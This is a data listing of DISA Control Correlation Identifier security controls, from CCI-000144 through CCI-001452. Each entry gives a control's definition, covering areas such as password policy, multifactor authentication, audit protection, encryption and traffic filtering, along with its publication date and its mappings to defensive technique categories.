date published: 2009-05-20T00:00:00

CCI-000144
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides a real-time alert when organization-defined audit failure events occur.
member-of: CCICatalog v2022-04-05
narrower: SystemDaemonMonitoring
date published: 2009-05-20T00:00:00

CCI-000162
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects audit information from unauthorized access.
member-of: CCICatalog v2022-04-05
narrower: CredentialHardening
date published: 2009-05-22T00:00:00

CCI-000163
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects audit information from unauthorized modification.
member-of: CCICatalog v2022-04-05
narrower: PlatformHardening
narrower: SystemConfigurationPermissions
date published: 2009-05-22T00:00:00

CCI-000164
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects audit information from unauthorized deletion.
member-of: CCICatalog v2022-04-05
narrower: PlatformHardening
date published: 2009-05-22T00:00:00

CCI-000185
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for PKI-based authentication, validates certifications by constructing and verifying a certification path to an accepted trust anchor including checking certificate status information.
member-of: CCICatalog v2022-04-05
narrower: CredentialHardening
date published: 2009-09-15T00:00:00

CCI-000186
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for PKI-based authentication, enforces authorized access to the corresponding private key.
member-of: CCICatalog v2022-04-05
narrower: CredentialHardening
date published: 2009-09-15T00:00:00

CCI-000187
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for PKI-based authentication, maps the authenticated identity to the account of the individual or group.
member-of: CCICatalog v2022-04-05
narrower: CredentialHardening
date published: 2009-09-15T00:00:00

CCI-000192
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces password complexity by the minimum number of upper case characters used.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000193
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces password complexity by the minimum number of lower case characters used.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000194
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces password complexity by the minimum number of numeric characters used.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000195
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for password-based authentication, when new passwords are created, enforces that at least an organization-defined number of characters are changed.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000196
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for password-based authentication, stores only cryptographically-protected passwords.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000197
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, for password-based authentication, transmits only cryptographically-protected passwords.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000198
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces minimum password lifetime restrictions.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000199
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces maximum password lifetime restrictions.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-09-15T00:00:00

CCI-000200
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prohibits password reuse for the organization-defined number of generations.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-05-22T00:00:00

CCI-000205
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces minimum password length.
member-of: CCICatalog v2022-04-05
narrower: StrongPasswordPolicy
date published: 2009-05-22T00:00:00

CCI-000213
type: CCIControl
type: NamedIndividual
broader: BiometricAuthentication
broader: Certificate-basedAuthentication
broader: Multi-factorAuthentication
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system enforces approved authorizations for logical access to information and system resources in accordance with applicable access control policies.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000218
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, identifies information flows by data type specification and usage.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-14T00:00:00

CCI-000219
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, decomposes information into organization-defined policy-relevant subcomponents for submission to policy enforcement mechanisms.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-14T00:00:00

CCI-000226
type: CCIControl
type: NamedIndividual
broader: ExecutionIsolation
contributor: DISA FSO
definition: The information system provides the capability for a privileged administrator to configure organization-defined security policy filters to support different security policies.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000346
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs automated mechanisms to enforce access restrictions.
member-of: CCICatalog v2022-04-05
narrower: LocalFilePermissions
narrower: UserAccountPermissions
date published: 2009-09-18T00:00:00

CCI-000352
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents the installation of organization-defined critical software programs that are not signed with a certificate that is recognized and approved by the organization.
member-of: CCICatalog v2022-04-05
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting
date published: 2009-09-18T00:00:00

CCI-000374
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs automated mechanisms to respond to unauthorized changes to organization-defined configuration settings.
member-of: CCICatalog v2022-04-05
narrower: OperatingSystemMonitoring
date published: 2009-09-18T00:00:00

CCI-000381
type: CCIControl
type: NamedIndividual
broader: PlatformHardening
contributor: DISA FSO
definition: The organization configures the information system to provide only essential capabilities.
member-of: CCICatalog v2022-04-05
date published: 2009-09-18T00:00:00

CCI-000382
type: CCIControl
type: NamedIndividual
broader: PlatformHardening
contributor: DISA FSO
definition: The organization configures the information system to prohibit or restrict the use of organization-defined functions, ports, protocols, and/or services.
member-of: CCICatalog v2022-04-05
date published: 2009-09-18T00:00:00

CCI-000386
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs automated mechanisms to prevent program execution on the information system in accordance with the organization-defined specifications.
exactly: ExecutableDenylisting
member-of: CCICatalog v2022-04-05
date published: 2009-09-18T00:00:00

CCI-000417
type: CCIControl
type: NamedIndividual
broader: ExecutionIsolation
broader: NetworkIsolation
contributor: DISA FSO
definition: The organization disables network access by unauthorized components/devices or notifies designated organizational officials.
member-of: CCICatalog v2022-04-05
date published: 2009-09-18T00:00:00

CCI-000663
type: CCIControl
type: NamedIndividual
broader: ExecutionIsolation
contributor: DISA FSO
definition: The organization (or information system) enforces explicit rules governing the installation of software by users.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-000764
type: CCIControl
type: NamedIndividual
broader: BiometricAuthentication
broader: Certificate-basedAuthentication
broader: Multi-factorAuthentication
broader: One-timePassword
contributor: DISA FSO
definition: The information system uniquely identifies and authenticates organizational users (or processes acting on behalf of organizational users).
member-of: CCICatalog v2022-04-05
date published: 2009-09-17T00:00:00

CCI-000765
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements multifactor authentication for network access to privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2009-09-17T00:00:00

CCI-000766
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements multifactor authentication for network access to non-privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2009-09-17T00:00:00

CCI-000767
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements multifactor authentication for local access to privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2009-09-17T00:00:00

CCI-000768
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements multifactor authentication for local access to non-privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2009-09-17T00:00:00

CCI-000771
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uses multifactor authentication for network access to privileged accounts where one of the factors is provided by a device separate from the information system being accessed.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2009-09-17T00:00:00

CCI-000772
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uses multifactor authentication for network access to non-privileged accounts where one of the factors is provided by a device separate from the information system being accessed.
member-of: CCICatalog v2022-04-05
narrower: Multi-factorAuthentication
date published: 2009-09-17T00:00:00

CCI-000774
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uses organization-defined replay-resistant authentication mechanisms for network access to privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: One-timePassword
date published: 2009-09-17T00:00:00

CCI-000776
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uses organization-defined replay-resistant authentication mechanisms for network access to non-privileged accounts.
member-of: CCICatalog v2022-04-05
narrower: One-timePassword
date published: 2009-09-17T00:00:00

CCI-000804
type: CCIControl
type: NamedIndividual
broader: BiometricAuthentication
broader: Certificate-basedAuthentication
broader: Multi-factorAuthentication
broader: One-timePassword
contributor: DISA FSO
definition: The information system uniquely identifies and authenticates non-organizational users (or processes acting on behalf of non-organizational users).
member-of: CCICatalog v2022-04-05
date published: 2009-09-17T00:00:00

CCI-000831
type: CCIControl
type: NamedIndividual
broader: CredentialEviction
broader: ProcessEviction
contributor: DISA FSO
definition: The organization implements a configurable capability to automatically disable the information system if organization-defined security violations are detected.
member-of: CCICatalog v2022-04-05
date published: 2009-09-18T00:00:00

CCI-000877
type: CCIControl
type: NamedIndividual
broader: BiometricAuthentication
broader: Certificate-basedAuthentication
broader: Multi-factorAuthentication
contributor: DISA FSO
definition: The organization employs strong authenticators in the establishment of nonlocal maintenance and diagnostic sessions.
member-of: CCICatalog v2022-04-05
date published: 2009-09-18T00:00:00

CCI-000880
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization audits non-local maintenance and diagnostic sessions.
member-of: CCICatalog v2022-04-05
narrower: OperatingSystemMonitoring
date published: 2009-09-18T00:00:00

CCI-000884
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization protects nonlocal maintenance sessions by employing organization-defined authenticators that are replay resistant.
member-of: CCICatalog v2022-04-05
narrower: CredentialHardening
date published: 2009-09-18T00:00:00

CCI-000888
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs cryptographic mechanisms to protect the integrity and confidentiality of non-local maintenance and diagnostic communications.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2009-09-18T00:00:00

CCI-001009
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uses cryptographic mechanisms to protect and restrict access to information on portable digital media.
member-of: CCICatalog v2022-04-05
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001019
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs cryptographic mechanisms to protect information in storage.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001067
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements privileged access authorization to organization-identified information system components for selected organization-defined vulnerability scanning activities.
member-of: CCICatalog v2022-04-05
narrower: PlatformHardening
date published: 2009-09-21T00:00:00

CCI-001069
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs automated mechanisms to detect the presence of unauthorized software on organizational information systems and notify designated organizational officials in accordance with the organization-defined frequency.
member-of: CCICatalog v2022-04-05
narrower: ExecutableAllowlisting
narrower: ExecutableDenylisting
date published: 2009-09-21T00:00:00

CCI-001082
type: CCIControl
type: NamedIndividual
broader: LocalFilePermissions
broader: SystemConfigurationPermissions
contributor: DISA FSO
definition: The information system separates user functionality (including user interface services) from information system management functionality.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001083
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents the presentation of information system management-related functionality at an interface for non-privileged users.
member-of: CCICatalog v2022-04-05
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions
date published: 2009-09-21T00:00:00

CCI-001084
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system isolates security functions from nonsecurity functions.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2009-09-21T00:00:00

CCI-001085
type: CCIControl
type: NamedIndividual
broader: Hardware-basedProcessIsolation
contributor: DISA FSO
definition: The information system utilizes underlying hardware separation mechanisms to implement security function isolation.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001086
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system isolates security functions enforcing access and information flow control from both nonsecurity functions and from other security functions.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2009-09-21T00:00:00

CCI-001087
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization implements an information system isolation boundary to minimize the number of nonsecurity functions included within the boundary containing security functions.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2009-09-21T00:00:00

CCI-001089
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization implements security functions as a layered structure minimizing interactions between layers of the design and avoiding any dependence by lower layers on the functionality or correctness of higher layers.
member-of: CCICatalog v2022-04-05
narrower: SystemConfigurationPermissions
date published: 2009-09-21T00:00:00

CCI-001090
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents unauthorized and unintended information transfer via shared system resources.
member-of: CCICatalog v2022-04-05
narrower: NetworkTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001092
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system protects against or limits the effects of the organization-defined or referenced types of denial of service attacks.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001094
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system restricts the ability of individuals to launch organization-defined denial of service attacks against other information systems.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001096
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system limits the use of resources by priority.
member-of: CCICatalog v2022-04-05
narrower: LocalFilePermissions
narrower: SystemConfigurationPermissions
date published: 2009-09-21T00:00:00

CCI-001100
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents public access into the organization's internal networks except as appropriately mediated by managed interfaces employing boundary protection devices.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001109
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system at managed interfaces denies network communications traffic by default and allows network communications traffic by exception (i.e., deny all, permit by exception).
exactly: InboundTrafficFiltering
exactly: OutboundTrafficFiltering
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001111
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents remote devices that have established a non-remote connection with the system from communicating outside of that communications path with resources in external networks.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001115
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, at managed interfaces, denies network traffic and audits internal users (or malicious code) posing a threat to external information systems.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001117
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system checks incoming communications to ensure the communications are coming from an authorized source and routed to an authorized destination.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001118
type: CCIControl
type: NamedIndividual
broader: NetworkIsolation
contributor: DISA FSO
definition: The information system implements host-based boundary protection mechanisms for servers, workstations, and mobile devices.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001124
type: CCIControl
type: NamedIndividual
broader: BroadcastDomainIsolation
contributor: DISA FSO
definition: The information system prevents discovery of specific system components composing a managed interface.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001125
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces adherence to protocol format.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-21T00:00:00

CCI-001127
type: CCIControl
type: NamedIndividual
broader: EncryptedTunnels
contributor: DISA FSO
definition: The information system protects the integrity of transmitted information.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001128
type: CCIControl
type: NamedIndividual
broader: EncryptedTunnels
contributor: DISA FSO
definition: The organization employs cryptographic mechanisms to recognize changes to information during transmission unless otherwise protected by alternative physical measures.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001133
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system terminates the network connection associated with a communications session at the end of the session or after an organization-defined time period of inactivity.
member-of: CCICatalog v2022-04-05
narrower: SessionDurationAnalysis
date published: 2009-09-21T00:00:00

CCI-001144
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements required cryptographic protections using cryptographic modules that comply with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and guidance.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001145
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs, at a minimum, FIPS-validated cryptography to protect unclassified information.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001146
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs NSA-approved cryptography to protect classified information.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001147
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs, at a minimum, FIPS-validated cryptography to protect information when such information must be separated from individuals who have the necessary clearances yet lack the necessary access approvals.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001150
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prohibits remote activation of collaborative computing devices, excluding the organization-defined exceptions where remote activation is to be allowed.
member-of: CCICatalog v2022-04-05
narrower: RemoteTerminalSessionDetection
date published: 2009-09-21T00:00:00

CCI-001166
type: CCIControl
type: NamedIndividual
broader: DynamicAnalysis
broader: EmulatedFileAnalysis
broader: FileContentRules
contributor: DISA FSO
definition: The information system identifies organization-defined unacceptable mobile code.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001169
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents the download of organization-defined unacceptable mobile code.
member-of: CCICatalog v2022-04-05
narrower: ExecutableDenylisting
date published: 2009-09-21T00:00:00

CCI-001170
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system prevents the automatic execution of mobile code in organization-defined software applications.
member-of: CCICatalog v2022-04-05
narrower: ExecutableDenylisting
date published: 2009-09-21T00:00:00

CCI-001178
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides additional data origin authentication artifacts along with the authoritative name resolution data the system returns in response to external name/address resolution queries.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2009-09-21T00:00:00

CCI-001185
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system invalidates session identifiers upon user logout or other session termination.
member-of: CCICatalog v2022-04-05
narrower: AuthenticationCacheInvalidation
date published: 2009-09-21T00:00:00

CCI-001199
type: CCIControl
type: NamedIndividual
broader: DiskEncryption
broader: FileContentRules
broader: FileEncryption
broader: FileHashing
broader: LocalFilePermissions
contributor: DISA FSO
definition: The information system protects the confidentiality and/or integrity of organization-defined information at rest.
member-of: CCICatalog v2022-04-05
date published: 2009-09-21T00:00:00

CCI-001200
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs cryptographic mechanisms to prevent unauthorized disclosure of information at rest unless otherwise protected by alternative physical measures.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2009-09-21T00:00:00

CCI-001210
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, at organization-defined information system components, loads and executes the operating environment from hardware-enforced, read-only media.
member-of: CCICatalog v2022-04-05
narrower: DriverLoadIntegrityChecking
date published: 2009-09-21T00:00:00

CCI-001211
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, at organization-defined information system components, loads and executes organization-defined applications from hardware-enforced, read-only media.
member-of: CCICatalog v2022-04-05
narrower: ApplicationConfigurationHardening
date published: 2009-09-21T00:00:00

CCI-001233
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs automated mechanisms on an organization-defined frequency to determine the state of information system components with regard to flaw remediation.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2009-09-22T00:00:00

CCI-001237
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization employs automated patch management tools to facilitate flaw remediation to organization-defined information system components.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2009-09-22T00:00:00

CCI-001239
type: CCIControl
type: NamedIndividual
broader: FileAnalysis
broader: NetworkTrafficAnalysis
broader: PlatformMonitoring
broader: ProcessAnalysis
contributor: DISA FSO
definition: The organization employs malicious code protection mechanisms at information system entry and exit points to detect and eradicate malicious code transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means or inserted through the exploitation of information system vulnerabilities.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001242
type: CCIControl
type: NamedIndividual
broader: DynamicAnalysis
broader: EmulatedFileAnalysis
broader: FileContentRules
contributor: DISA FSO
definition: The organization configures malicious code protection mechanisms to perform real-time scans of files from external sources at endpoints as the files are downloaded, opened, or executed in accordance with organizational security policy.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001262
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system monitors inbound and outbound communications for unusual or unauthorized activities or conditions.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-22T00:00:00

CCI-001297
type: CCIControl
type: NamedIndividual
broader: DriverLoadIntegrityChecking
broader: FileHashing
broader: PointerAuthentication
broader: TPMBootIntegrity
contributor: DISA FSO
definition: The information system detects unauthorized changes to software and information.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001305
type: CCIControl
type: NamedIndividual
broader: MessageAuthentication
broader: SenderMTAReputationAnalysis
broader: SenderReputationAnalysis
broader: TransferAgentAuthentication
contributor: DISA FSO
definition: The organization employs spam protection mechanisms at information system entry and exit points to detect and take action on unsolicited messages transported by electronic mail, electronic mail attachments, web accesses, removable media, or other common means.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001310
type: CCIControl
type: NamedIndividual
broader: DatabaseQueryStringAnalysis
contributor: DISA FSO
definition: The information system checks the validity of organization-defined inputs.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001350
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect the integrity of audit information.
member-of: CCICatalog v2022-04-05
narrower: FileEncryption
date published: 2009-09-22T00:00:00

CCI-001352
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization protects the audit records of non-local accesses to privileged accounts and the execution of privileged functions.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001356
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization monitors for atypical usage of information system accounts.
exactly: AuthenticationEventThresholding
exactly: AuthorizationEventThresholding
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001368
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces approved authorizations for controlling the flow of information within the system based on organization-defined information flow control policies.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-22T00:00:00

CCI-001372
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, implements organization-defined security policy filters requiring fully enumerated formats that restrict data structure and content.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-22T00:00:00

CCI-001373
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, examines the information for the presence of organization-defined unsanctioned information.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-22T00:00:00

CCI-001374
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, when transferring information between different security domains, prohibits the transfer of organization-defined unsanctioned information in accordance with the organization-defined security policy.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-22T00:00:00

CCI-001376
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uniquely identifies source domains for information transfer.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2009-09-22T00:00:00

CCI-001377
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system uniquely authenticates source domains for information transfer.
member-of: CCICatalog v2022-04-05
narrower: DomainTrustPolicy
date published: 2009-09-22T00:00:00

CCI-001399
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system supports and maintains the binding of organization-defined security attributes to information in storage.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001400
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system supports and maintains the binding of organization-defined security attributes to information in process.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001401
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system supports and maintains the binding of organization-defined security attributes to information in transmission.
member-of: CCICatalog v2022-04-05
date published: 2009-09-22T00:00:00

CCI-001403
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically audits account modification actions.
exactly: DomainAccountMonitoring
member-of: CCICatalog v2022-04-05
date published: 2009-09-24T00:00:00

CCI-001404
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically audits account disabling actions.
exactly: DomainAccountMonitoring
member-of: CCICatalog v2022-04-05
date published: 2009-09-24T00:00:00

CCI-001405
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically audits account removal actions.
exactly: DomainAccountMonitoring
member-of: CCICatalog v2022-04-05
date published: 2009-09-24T00:00:00

CCI-001414
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces approved authorizations for controlling the flow of information between interconnected systems based on organization-defined information flow control policies.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-24T00:00:00

CCI-001424
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system dynamically associates security attributes with organization-defined subjects in accordance with organization-defined security policies as information is created and combined.
member-of: CCICatalog v2022-04-05
date published: 2009-09-25T00:00:00

CCI-001425
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system provides authorized individuals (or processes acting on behalf of individuals) the capability to change the value of associated security attributes.
member-of: CCICatalog v2022-04-05
date published: 2009-09-25T00:00:00

CCI-001426
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system maintains the binding of security attributes to information with sufficient assurance that the information--attribute association can be used as the basis for automated policy actions.
member-of: CCICatalog v2022-04-05
date published: 2009-09-25T00:00:00

CCI-001427
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system allows authorized users to associate security attributes with information.
member-of: CCICatalog v2022-04-05
date published: 2009-09-25T00:00:00

CCI-001428
type: CCIControl
type: NamedIndividual
broader: UserAccountPermissions
contributor: DISA FSO
definition: The information system displays security attributes in human-readable form on each object that the system transmits to output devices to identify organization-identified special dissemination, handling, or distribution instructions using organization-identified human-readable, standard naming conventions.
member-of: CCICatalog v2022-04-05
date published: 2009-09-25T00:00:00

CCI-001436
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization disables organization-defined networking protocols within the information system deemed to be nonsecure except for explicitly identified components in support of specific operational requirements.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-25T00:00:00

CCI-001452
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces the organization-defined time period during which the limit of consecutive invalid access attempts by a user is counted.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
